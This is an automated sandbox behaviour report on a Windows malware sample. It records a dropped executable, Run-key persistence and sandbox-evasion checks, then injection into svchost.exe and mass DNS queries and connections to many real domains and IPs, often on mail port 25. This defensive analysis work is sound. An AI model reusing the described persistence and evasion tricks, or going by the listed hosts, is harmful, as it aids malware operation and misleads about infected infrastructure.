Source: Yara match	File source: 6.2.pigalicapi.exe.10004088.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2381e88.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.608690490.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.607161240.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.567367147.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.607986528.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.567130920.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.571934007.0000000002380000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	0_2_04003B00
Source: C:\Users\user\pigalicapi.exe	Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	2_2_04003B00
Source: C:\Users\user\pigalicapi.exe	Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	6_2_04003B00

Source: C:\Users\user\Desktop\iJzpyjAehB.exe TID: 5852	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 6092	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 1584	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 1424	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4060	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5440	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4432	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 2184	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5696	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 5696	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 5376	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 2028	Thread sleep count: 537 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5148	Thread sleep count: 549 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5156	Thread sleep count: 51 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6488	Thread sleep count: 340 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6496	Thread sleep count: 424 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 3468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 4648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 820	Thread sleep count: 53 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6236	Thread sleep count: 40 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5108	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 4984	Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6260	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6272	Thread sleep count: 46 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6408	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6424	Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6876	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 6916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 9292	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 11840	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\pigalicapi.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_2-4417
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-5151

Source: C:\Users\user\pigalicapi.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

0_2_04001CA0

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 537
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 549
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 424

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-4853
Source: C:\Users\user\pigalicapi.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_2-4119

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_0-5132
Source: C:\Users\user\pigalicapi.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_2-4398

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: GetAdaptersInfo,	0_2_04009F70
Source: C:\Users\user\pigalicapi.exe	Code function: GetAdaptersInfo,	2_2_04009F70
Source: C:\Users\user\pigalicapi.exe	Code function: GetAdaptersInfo,	6_2_04009F70

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_04008F80 GetVersionExA,GetSystemInfo,lstrcatA,lstrcatA,lstrcatA,GetSystemMetrics,lstrcatA,GetSystemMetrics,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,

0_2_04008F80

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	API call chain: ExitProcess graph end node	graph_0-4719
Source: C:\Users\user\pigalicapi.exe	API call chain: ExitProcess graph end node	graph_2-3985
Source: C:\Users\user\pigalicapi.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node

Source: iJzpyjAehB.exe, 00000000.00000003.264766570.0000000007579000.00000004.00000020.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347514573.0000000007578000.00000004.00000020.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.511351222.0000000007578000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

0_2_04001CA0

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_10001030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

0_2_10001030

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_04001390 GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,GetProcessHeap,RtlFreeHeap,

0_2_04001390

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04003090 mov eax, dword ptr fs:[00000030h]	0_2_04003090
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_023709FC mov eax, dword ptr fs:[00000030h]	0_2_023709FC
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_10001030 mov eax, dword ptr fs:[00000030h]	0_2_10001030
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04003090 mov eax, dword ptr fs:[00000030h]	2_2_04003090
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_10001030 mov eax, dword ptr fs:[00000030h]	2_2_10001030
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04003090 mov eax, dword ptr fs:[00000030h]	6_2_04003090
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_10001030 mov eax, dword ptr fs:[00000030h]	6_2_10001030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_00401005 mov eax, dword ptr fs:[00000030h]	10_2_00401005
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_04001A30 mov eax, dword ptr fs:[00000030h]	10_2_04001A30

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_00401479 LdrFindResource_U,LdrAccessResource,NtAllocateVirtualMemory,

0_2_00401479

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_00401000 SetUnhandledExceptionFilter,__getmainargs,__p__fmode,__p__environ,_cexit,ExitProcess,_iob,_setmode,_setmode,_setmode,	0_2_00401000
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04003B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	0_2_04003B00
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04003B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	2_2_04003B00
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_00401000 SetUnhandledExceptionFilter,__getmainargs,__p__fmode,__p__environ,_cexit,ExitProcess,_iob,_setmode,_setmode,_setmode,	6_2_00401000
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04003B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	6_2_04003B00

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: impexnc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webways.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dayvo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.252.159.165 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: enguita.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dataform.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shteeble.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kallman.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.69.139.150 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nt-hat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gphpedit.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.180.58.31 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avse.hu
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.130.204.160 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.143.194.23 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.189.171.125 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.229.22.126 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: notis.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.39.75.157 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nts-web.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: willsub.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shesfit.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.74.161.133 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: multip.hu
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.226.70.66 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tcpoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 37.59.243.164 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kamptal.at
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 154.81.136.239 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.19.254.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bd-style.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.163.45.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 93.189.66.202 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zupraha.cz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.89.126 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.30.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: muhr-soehne.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.30.60.158 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.183.62 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: oaith.ca
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.99.226.184 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.180.178 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aiolos-sa.gr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.253.212.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fdlymca.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.134.13.210 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 216.239.38.21 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: assideum.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bidroll.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: karmy.com.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vdoherty.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 51.159.3.117 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ncn.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: komie.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ftmobile.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.124.76.247 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.71.13 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: onzcda.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sledsport.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tbvlugus.nl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.68.180 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.111.4.75 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pellys.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.80.123.195 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.19.218.80 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 34.102.136.180 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.148.35 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: semuk.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.50.140 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tozzhin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail.airmail.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lyto.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 164.132.175.106 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.164.117.233 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 106west.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ruzee.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.230.63.107 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nblewis.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amba-tc.si
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.144 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxs.mail.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: averwin.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 211.13.196.162 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 141.193.213.20 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: chzko.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.54.214 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 76.223.35.103 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 92.204.129.113 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: themark.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ossir.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clysma.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.76.64.25 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 213.186.33.16 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-kami.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.92.170 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: scintel.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.230.93.218 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.98.236.253 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kewlmail.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bount.com.tw
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: actmin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: flamingorecordings.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 75.2.70.75 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bosado.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.pohlfood.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.86.6.113 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pers.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 136.243.147.81 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 92.42.191.38 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: angework.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail7.digitalwaves.co.nz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 151.101.130.159 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: reproar.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hes.pt
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.94.254.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 127.0.0.11 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 221.132.33.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: portoccd.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.26.6.17 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 43.255.29.192 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 162.241.233.114 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avc.com.sa
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.236.62.147 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.104.28.238 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cnti.krsn.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.71.55 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.194.190.151 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 128.204.134.138 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.94.166.30 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ultibax.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dspears.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.217.118.81 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.219.178.104 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.224.212.222 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bggs.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: unicus.jp
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.41.152 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 89.31.143.1 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cyclad.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clinicasanluis.com.co
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: michiana.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: umcor.am
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludomemo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pccj.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ssm.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wvs-net.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.fnw.us
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.205.126.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: adeesa.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.248.97.36 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: strazynski.pl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.231.184.124 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.120.34.73 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.38 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amerifor.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 164.90.244.158 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 18.177.67.59 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.29.72 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vfcindia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yoruksut.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: akdeniz.nl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.149.134.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rtcasey.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: n23china.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gydrozo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.165.223.27 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hamaker.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sigtoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 133.125.38.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 174.129.25.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: refintl.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 207.180.198.201 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 68.71.135.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: listel.co.jp
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 89gospel.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sidepath.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: karila.fr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 15.197.142.173 80
